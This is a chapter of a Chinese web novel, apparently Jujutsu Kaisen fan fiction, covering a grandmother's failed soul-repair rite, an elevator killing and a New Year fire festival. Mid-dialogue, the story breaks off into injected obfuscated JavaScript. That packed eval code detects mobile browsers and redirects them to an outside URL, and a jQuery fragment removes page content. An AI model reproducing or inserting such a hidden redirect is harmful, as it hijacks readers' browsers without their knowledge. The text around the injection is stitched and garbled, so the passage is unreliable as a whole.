“她修补了别人的灵魂,为了一个,一个毫不相干的可怜人。”
浅野像是想起了什么,表情一下子变得很扭曲,眼珠圆瞪,那头纷乱的红发如同燃烧的火把。
她那样做的时候,有没有想过自己在乡下还有一个同样可怜、没爹没娘的孙女。
祖母她永远都是这样,对人总是掏心掏肺,可那个接受过她帮助的人却不愿意再回过身来帮一帮她,甚至还因为没有达到效果而对她充满怨恨。
到了最后,只有她这个被关照最少的孙女来为她善后。
“通灵师的术式除了灵视外,还有一种少为人知的能力——分补灵魂。
但擅改灵魂是要付出代价的。就像动手术,心脏病需要用新的心脏填补,补齐残缺的灵魂同样如此。
灵魂残缺,她就再也睁不开眼睛了,只能像一个活死人一样躺在床上。”
浅野将脸埋进掌心,深深吸了一口气,“但她还活着,会吃会喝,会呼吸,需要医院的护理。那家接受她帮助的人只愿意掏约定好的费用,再多的一分也不给。说什么明知道危险还要做,就应该有承担后果的自觉。”
说着,她鼻中哼出一声冷笑,“结果那个接受术式的人第二天就死了,真是活该!”
“最后连约定好的费用他们也不愿意掏了,说是祖母害死了他,原本孩子只是不能动可还会呼吸,现在却彻底死了,没问我们要赔偿就算他们有善心了,怎么可能再给钱。
可祖母当时就说了,分补灵魂是有风险的,极有可能没命。那家人哭着求祖母,她一时心软就答应了,现在倒全成了我祖母一个人的错。”
“还好我不是普通人,可以用术式赚钱,但赚钱真的好辛苦,各种各样的人都有,欠钱、赖账、骂人的什么都有。”
浅野看向苏我逢狐,目光中流露出极为明显的庆幸和惊喜,“谁知道在这个关口,我竟然遇到了你!所以,只需要把钱转到医院账号就可以了,其他什么都不需要。”
有了这笔钱,她就不用在每个月的月中、月底担心凑不出下个月的护理费了。
“你一定是上天派给我的天使!”
天使?
苏我逢狐在她油然而生的喜悦和称赞声里愣了愣,轻咳了一声,“我不是什么天使,也不是什么好人。”
“好人都说自己不是好人,只有坏人才说自己是好人。”
苏我逢狐深感无奈,她拿起搁在一旁的笔,在白纸上写下自己的名字和一串数字,“记一下我的名字和手机号码,把你祖母的信息和医院地址发过来,我会派专门的人人为你打理这件事。
明天是周末,有信众聚会,你今晚把收拾行李好。至于我说的工资,你最好收下,我不希望我的员工是一个需要靠兼职养活自己的穷光蛋。”
从浅野家中离开时天已经彻底黑下去了。
电梯下到一楼的时候,苏我逢狐正好遇见一个在等电梯的男人,站也站不稳,晕晕乎乎地扶着墙,浑身酒气。
苏我逢狐正要从他身边走过去;那人却忽地斜了过来,拦在她身前。苏我逢狐这才偏移目光,抬起头看向拦路的人。
对方身形高大,在狭小的空间里,存在感极强。
他也没有动作,只用眼睛上下打量她,从脸到胸部再到腿部,像是在解剖猎物般仔仔细细一寸不落,绕了一圈后,目光又落回到胸部,停留了一会儿。
苏我逢狐听见了上方传来了吞咽口水的声音,他故意把声音弄得很大。
过了一会儿,对方把目光上移,浑浊的眼珠直勾勾地黏在她脸上,还是一动不动,似乎在等她的反应。
她的反应?
苏我逢狐顿时从这奇怪的举动中明白了什么。
原来,是想看她怎么在他的目光下惊叫着逃跑么。
她眼中寒芒一闪,随即唇角轻勾,露出几分讥诮:
“你这东西,来得倒很是时候。”
恍若泰山压顶,那人在一阵令人牙酸的骨裂声中,迅速弯塌下脊背。
原本悬在苏我逢狐头顶上的眼神渐渐落到地面,脆弱的脖颈连带着挂在上面的头颅,一点点地以扭曲的姿态,被强行递到她平如镜湖的目光前。
旋即,那潭镜湖中闪出一丝嗜血的暗光。
一双筋骨分明的手突然伸出,死死钳住低在眼前的脑袋,顿时,巨力如同瀑布般兜头泼下,砸得他浑身动弹不得,呜咽声还没响起便被堵在喉咙里。
苏我逢狐抓着他的脑袋,像是往冰面上上扔石头般,往地上猛然砸去,迸起的血花四下喷溅,从她脸上缓缓滑落。
她轻轻拭去脸上血迹,眼皮一下也未抬,只漠然地看着面前脏破的墙壁。
“你是知道我今天心情不好,所以特地过来给我出气吗?”
一阵风扫过,喷洒在地面上鲜血转瞬消散在空气中。
她很少动手杀人,尤其是让别人的血溅在自己身上。
但今天不一样,他正好撞到了火山口上。
灵魂里多了一个灵魂,活的,还没有长大。
不知道长相。
没有办法去除。
情况罕见到连专攻灵魂的通灵师都从未见过。
她不可能不去怀疑这是世界意志搞得鬼,苏我逢狐甚至在听到多出来了一张人脸后,立刻想到了松弥川逢狐。
灵魂上出半点岔子都是大麻烦,她不可能任由那颗人头继续长大。
苏我逢狐缓缓吐出一口气,她必须想个办法。
就在这时,一通电话突然打了进来,中断了她的思路。
是一个陌生号码,苏我逢狐摁下接听键。
“哪位?”
电话那头传出一道熟悉的声音:“逢狐大姐姐,是我。”
刚离开没一会儿就给自己打电话,难道是出了什么事?
电话里,浅野的声音像是断了线的珠子坠地般又快又急,“千万不要随意对待地灵魂!”
她顿了顿,语气松缓了一点,“不好意思,我就是担心你,才说话急了些。我是想说如果大姐姐你请我是为了让我帮你分割灵魂,我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538004|203869||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是真的不会,我在我们家里天赋很差,只学会了灵视,分补灵魂那种程度的术式运用我半点都不会。”
你也一定不要找那些自称精通灵魂修补和分割的通灵师随意切割你的灵魂,那些都是骗子。”
“浅野,你想多了。”苏我逢狐可以让人查看自己的灵魂,却绝不会容忍有人动它分毫,无论出于何种目的,她都不会允许。
灵魂不是皮肉,即便是再精细的刻痕,所造成的损失也难以估量,这种事情她不会假手于人。灵魂是独属于她的栖身之处,该如何布置安排,也只有她才能动手施为。
这段时间,她对咒灵的研究已经有了些微进展。
苏我逢狐摸了摸坠在毛衣上指甲盖大小的黑珠,触手圆润光滑,在她术式的隔绝作用下,看起来就像是一颗普通的黑色珍珠。
这些日子的打磨里,苏我逢狐愈发弄明白了自身术式的实质。
攫引空之术的根本就在于穿破一切缝隙。
因此,它才能够穿透五条悟的“无下限”,才能穿引进咒灵的精神世界。
得益于自身术式的特性,在无数次的实验下,终于让她摸清了咒灵的精神构造。
就像拼积木般,还是原有的材料,只需使用自身咒力更改摆放的位置,便能调整代表了咒灵精神意志的外观,得到一个新的仅供自己驱使的咒灵。
调整之后,再将其转化为指甲盖大小的珠子,就可以随身收纳,就像夏油杰的鳐鱼一样。
虽然目前这种方法还只能用在低级咒灵身上,但此时此刻,却给苏我逢狐提供了一个新的思路。
咒灵本就是人类情绪的化物,她既然能操纵咒灵,就未必不能操纵情绪的源头——灵魂。
然后,为它做一场手术。
苏我逢狐一边想一边往公寓外走。
这附近有一个很大的神社,她只埋头按着记忆里的路往回走,根本没注意周围越来越多的人,等发觉时,已经被汹涌的人潮堵在了里面。
人群中心,千百名头缠白布、脚穿白袜、腰间系着白布的男子口中含着“白纸”,神情肃穆地朝着前方的火光行进。
空气里弥漫着松叶和火焰的气味,许多人手里都拿着竹子、松枝还有梅枝。
苏我逢狐突然想起来,今天似乎是“松焚祭”,一种新年送神仪式。
人群熙熙攘攘,所有人像贴饼子一样紧紧挨在一起,苏我逢狐皱着眉将自己和周围人隔开,准备先从人流中退出去。
咒力穿梭在空气中,分开层层人群,层层人群如同层层帷幔,在不知不觉间随着她的脚步缓缓移向两侧。
走到一半,苏我逢狐突然心神一动。
咒力依旧在人群在流动,如同纤纤素手,又一次轻巧地揭开几层轻纱帷幔。动作却比适才慢了两分,缓缓移动间牵拉出心底的犹疑。
清风般的咒力拂过,层层浮纱随风而动,飘向两侧,帷幄之后,高挺的身影若隐若现。
苏我逢狐拨开最后一层,一双盈满笑意的苍蓝色眸子赫然撞入眼帘。